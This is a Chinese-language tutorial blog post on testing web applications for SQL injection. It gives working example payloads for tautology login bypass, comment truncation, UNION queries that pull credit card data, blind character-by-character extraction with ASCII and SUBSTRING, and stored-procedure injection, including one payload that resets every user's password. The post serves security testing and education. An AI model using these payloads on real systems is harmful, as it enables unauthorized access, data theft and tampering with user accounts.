`
javathinker
  • 浏览: 242282 次
  • 来自: ...
文章分类
社区版块
存档分类
最新评论

如何防范SQL注入 SQL注入测试

阅读更多

从测试来进行测试SQL注入。

首先,看看SQL注入攻击能分为以下三种类型:

Inband: 数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页面上;
Out-of-band: 数据通过不同于SQL代码注入的方法获得(譬如通过邮件等)

推理: 这种攻击时说并没有真正的数据传输,但攻击者可以通过发送特定的请求,重组返回的结果从而得到一些信息。

不论是哪种SQL注入,攻击者都需要构造一个语法正确的SQL查询,如果应用程序对一个不正确的查询返回了一个错误消息,那么就很容易重新构造初始的查询语句的逻辑,进而也就能更容易的进行注入;如果应用程序隐藏了错误信息,那么攻击者就必须对查询逻辑进行反向工程,即我们所谓的“盲SQL注入”

黑盒测试及其示例:
这个测试的第一步是理解我们的应用程序在什么时候需要访问数据库,典型的需要方法数据库的时机是:

认证表单: 输入用户名和密码以检查是否有权限
搜索引擎: 提交字符串以从数据库中获取相应的记录
电子商务站点: 获取某类商品的价格等信息

作为测试人员,我们需要列对所有输入域的值可能用于查询的字段做一个表单,包括那些POST请求的隐含字段,然后截取查询语句并产生错误信息。第一个测试往往是用一个单引号“'”或者分号“;”,前者在SQL中是字符串终结符,如果应用程序没有过滤,则会产生一条错误信息;后者在SQL中是一条SQL语句的终结符,同样如果没有过滤,也会产生错误信息。

同样可用于测试的还有“--”以及SQL中的一些诸如“AND”的关键字,通常很常见的一种测试是在要求输入为数字的输入框中输入字符串。

通过上面的测试输入返回的错误信息能够让我们知道很多数据库的信息。这时候就需要“盲目SQL注入”了。注意,我们需要多所有可能存在的SQL注入漏洞的输入域进行测试,并且在,每个测试用例时只变化一个域的值,从而才能找到真正存在漏洞的输入域。

下面看看一些常用例测试的SQL注入语句。

引用

SELECT * FROM Users WHERE Username='$username' AND Password='$password'


我们针对上面的SQL语句分析,发现如果用下面的测试数据就能够进行SQL注入了

引用

$username = 1'or'1'='1
$password=1'or'1'='1


看看整个SQL查询语句变成:

引用

SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'


假设参数值是通过GET方法传递到服务器的,且域名为www.example.com 那么我们的访问请求就是:

引用

  http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1


对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造成的后果则更为严重。

另外一个查询的例子如下:

引用

SELECT * FROM Users WHERE((Username='$username')AND(Password=MD5('$password')))


在这个例子中,存在两个问题,一个是括号的用法,还有一个是MD5哈希函数的用法。对于第一个问题,我们很容找出缺少的右括号解决,对于第二个问题,我们可以想办法使第二个条件失效。我们在查询语句的最后加上一个注释符以表示后面的都是注释,常见的注释起始符是/*(在Oracle中是--),也就是说,我们用如下的用户名和密码:

引用

$username =1' or '1'='1'))/*
$password = foo


那么整条SQL语句就变为:

引用

SELECT * FROM Users WHERE(( Username='1'or '1'='1'))/*')AND (Password=MD5('$password')))



那么看看URL请求就变为:

引用

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo



Union查询SQL注入测试
还有一种测试是利用Union的,利用Union可以连接查询,从而从其他表中得到信息,假设如下查询:

引用

SELECT Name, Phone, Address FROM Users WHERE Id=$id


然后我们设置id的值为:

引用

$id =1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable


那么整体的查询就变为:

引用

SELECT Name, Phone,Address FROM Users WHERE Id=1 UNION ALL SELECT creaditCardNumber,1,1 FROM CreditCarTable


显示这就能得到所有信用卡用户的信息。

盲目SQL注入测试
在上面我们提到过盲SQL注入,即bind SQL Injection,它意味着对于某个操作我们得不到任何信息,通常这是由于程序员已经编写了特定的出错返回页面,从而隐藏了数据库结构的信息。

但利用推理方法,有时候我们能够恢复特定字段的值。这种方法通常采用一组对服务器的布尔查询,依据返回的结果来推断结果的含义。仍然延续上面的www.example.com有一个参数名为id, 那么我们输入以下url请求:

引用

http://www.exampe.com/index.php?id=1'


显然由于语法错误,我们会得到一个预先定义好的出错页面,假设服务器上的查询语句为

引用

SELECT field1,field2,field3 FROM Users WHERE Id='$Id'


假设我们想要的带哦用户名字段的值,那么通过一些函数,我们就可以逐字符的读取用户名的值。在这里我们使用以下的函数:

引用

SUBSTRING(text,start,length), ASCII(char), LENGTH(text)


我们定义id为:

引用

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1


那么最终的SQL查询语句为:

引用

SELECT field1,field2,field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'


那么,如果在数据库中有用户名的第一字符的ASCII码为97的话,那么我们就能得到一个真值u,那么就继续寻找该用户名的下一个字符;如果没有的话,那么我们就增猜测第一个字符的ASCII码为98的用户名,这样反复下去就能判断出合法的用户名。

不过这样盲目SQL注入会要求使用大量的SQL尝试,有一些自动化的工具能够帮我们实现,SqlDumper就是这样的一种工具,对MySql数据库进行GET访问请求。

存储过程注入
如果在使用存储过程不当的时候,会造成一定的SQL注入漏洞。
以下面的SQL存储过程为例:

引用

Create procedure user_login
@username varchar(20),
@password varchar(20) As Declare @sqlstring varchar(250)

Set @sqlstring =''
Select 1 from users
where username='+@username+'and password='+@password
exec(@sqlstring)
Go



测试的输入如下:

引用

anyusername or 1=1'
anypassword


如果程序没有对输入进行验证,那么上面的语句就返回数据库中的一条记录

我们再看下面的一条:

引用

Create procedure get_report @columnamelist varchar(7900) As
  Declare @sqlstring varchar(8000)
  Set @sqlstring = ‘
  Select ‘ + @columnamelist + ‘ from ReportTable‘
  exec(@sqlstring)
  Go


如果测试输入是:

引用

1 from users;update users set password='password';select *


后面显而易见,用户的所有密码都被更且得到了报表信息。

分享到:
评论

相关推荐

    安全测试-常见sql注入方法,命令

    安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入...

    SQL注入汇报PPT,sql注入,包括SQL注入简介、SQL注入攻击手段、如何防范SQL注入、SQL注入案例分析、总结与展望

    SQL注入是一种攻击技术,通过在...未来可能需要更加智能化的防御系统和持续的教育及培训,以提高开发人员和安全人员对SQL注入的认识和防范能力,同时,自动化工具的使用也可能成为未来防止SQL注入攻击的一个重要方向。

    web测试之安全测试方法:sql注入方法

    下面我们将详细探讨SQL注入的原理、常见类型、检测方法以及防范措施。 一、SQL注入的原理 SQL注入漏洞通常是由于Web应用程序未能对用户输入的数据进行充分验证和转义,导致这些数据被当作SQL命令的一部分直接执行。...

    asp.net简单防范sql注入漏洞

    asp.net简单防范sql注入漏洞 防止 sql注入攻击 1 限制 文本框的最大长度 2 删除用户的单引号 3 处理sql注入的另外一个方法是 使用ado.net command对象的参数集合。 而不是评接多个字符串

    SQL注入漏洞测试

    SQL 注入漏洞测试入门篇 SQL 注入漏洞测试是指攻击者通过构造特殊的输入数据,来获取或修改数据库中的数据,从而达到非法目的。这种攻击方式的原理是,攻击者可以提交恶意的 SQL 语句,来获取或修改数据库中的数据...

    web安全性测试sql注入高级篇

    ### Web安全性测试SQL注入高级篇知识点详解 #### 一、SQL Server高级注入技巧 ##### 1. 利用系统表和存储过程 - **利用`xp_cmdshell`存储过程** - **示例1**: `http://Site/url.asp?id=1;exec master..xp_cmd...

    web安全性测试之sql注入入门篇

    SQL 注入入门篇 SQL 注入是指攻击者通过构造特殊的 SQL 语句, Inject 到服务器的数据库中,来获取或修改敏感数据的攻击行为。SQL 注入的原理是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想...

    SQL注入全面讲解技术文档

    以下是对SQL注入漏洞的全面讲解,包括其原理、防范方法以及高级技巧。 1. SQL注入漏洞原理: SQL注入的基础在于,当用户输入的数据直接拼接到SQL查询语句中,而没有经过适当的过滤或转义,攻击者可以构造特定的...

    SQL手工注入大全:包含各种类型的SQL注入,实现手工注入的乐趣,此资源你值得拥有。

    宽字节注入、SQL手工注入漏洞测试(Oracle数据库)、SQL手工注入漏洞测试(...SQL注入漏洞测试(参数加密)、SQL手工注入漏洞测试(MySQL数据库)、SQL注入漏洞测试(delete注入)、SQL过滤字符后手工注入漏洞测试、延时注入...

    sql注入字典fuzz

    通过对SQL注入字典fuzz的详细解析,我们可以了解到SQL注入攻击的基本原理及其防范措施。掌握这些知识点对于提高个人和组织的信息安全防护水平具有重要意义。未来随着技术的发展,SQL注入字典也会不断更新和完善,以...

    sql注入讲解ppt.pptx

    1. 注入点测试:检测 SQL 注入的可能性。 2. 查询字段数:查询数据库中的字段数。 3. 判断回显位:判断回显位的类型和位置。 4. 查询数据库的基本信息:查询数据库的基本信息,如数据库名、版本、用户等。 5. 爆...

    sql注入测试软件

    SQL注入测试是网络安全领域中的一个重要话题,主要用于检测和评估Web应用程序是否存在SQL注入漏洞。SQL注入是一种常见的攻击手段,攻击者通过在输入字段中插入恶意的SQL代码,试图获取、修改或删除数据库中的敏感...

    终极防范SQL注入漏洞

    以下是对标题和描述中提及的四个函数的详细解释,以及如何使用它们来防范SQL注入漏洞。 1. `killn(byval s1)` 函数: 这个函数主要用于过滤数值型参数。它首先检查输入的`s1`是否为数字,如果不是,就将其设置为0...

    SQL 注入天书.pdf

    SQL注入(SQL Injection)是网络渗透测试中的关键一环,涉及到服务器安全、数据保护和应用设计等多个方面。sqli-labs是一个在线学习平台,由Lcamry创建,提供了多个级别的挑战,让学习者逐步了解和掌握SQL注入技术。...

    常用Sql注入语句 常用Sql注入语句

    常用Sql注入语句 了解 SQL 注入攻击的类型: 1. Inband:数据经由 SQL 代码注入的通道取出,这是最直接的一种攻击,通过 SQL 注入获取的信息直接反映到应用程序的 Web 页面上。 2. Out-of-band:数据通过不同于 ...

    sql注入攻击防范解析

    3. **OWASP ZAP**:自动化安全测试工具,支持多种类型的SQL注入扫描。 4. **SQLMap**:自动化的SQL注入工具,用于检测和利用SQL注入漏洞。 总结来说,SQL注入攻击是一种严重的威胁,但通过理解其原理,实施有效的...

    追根溯源 防范SQL注入攻击.pdf

    追根溯源 防范SQL注入攻击.pdf

    ASP.NET中如何防范SQL注入式攻击

    ASP.NET 是一种强大的 web 应用程序开发框架,然而,如同其他基于数据库的应用程序,它也可能面临 SQL 注入式攻击的威胁。SQL 注入是一种利用恶意 SQL 代码篡改正常查询,以获取未授权访问、数据泄露或破坏数据库的...

    ASP.NET下如何防范SQL注入式攻击

    在ASP.NET开发环境中,防范SQL注入式攻击是确保应用程序安全的关键步骤之一。SQL注入是一种常见的攻击方式,通过将恶意SQL代码插入到查询语句中,攻击者可以绕过身份验证,篡改数据,甚至完全控制数据库。为了保护...

    SQL注入攻击实验报告

    - **实验目的**:本实验旨在通过搭建一个简单的Web应用程序,模拟SQL注入攻击的过程,并探讨相应的防御措施,帮助理解SQL注入攻击的基本原理及其防范策略。 #### 二、实验原理 - **SQL注入的概念**:SQL注入是一种...

Global site tag (gtag.js) - Google Analytics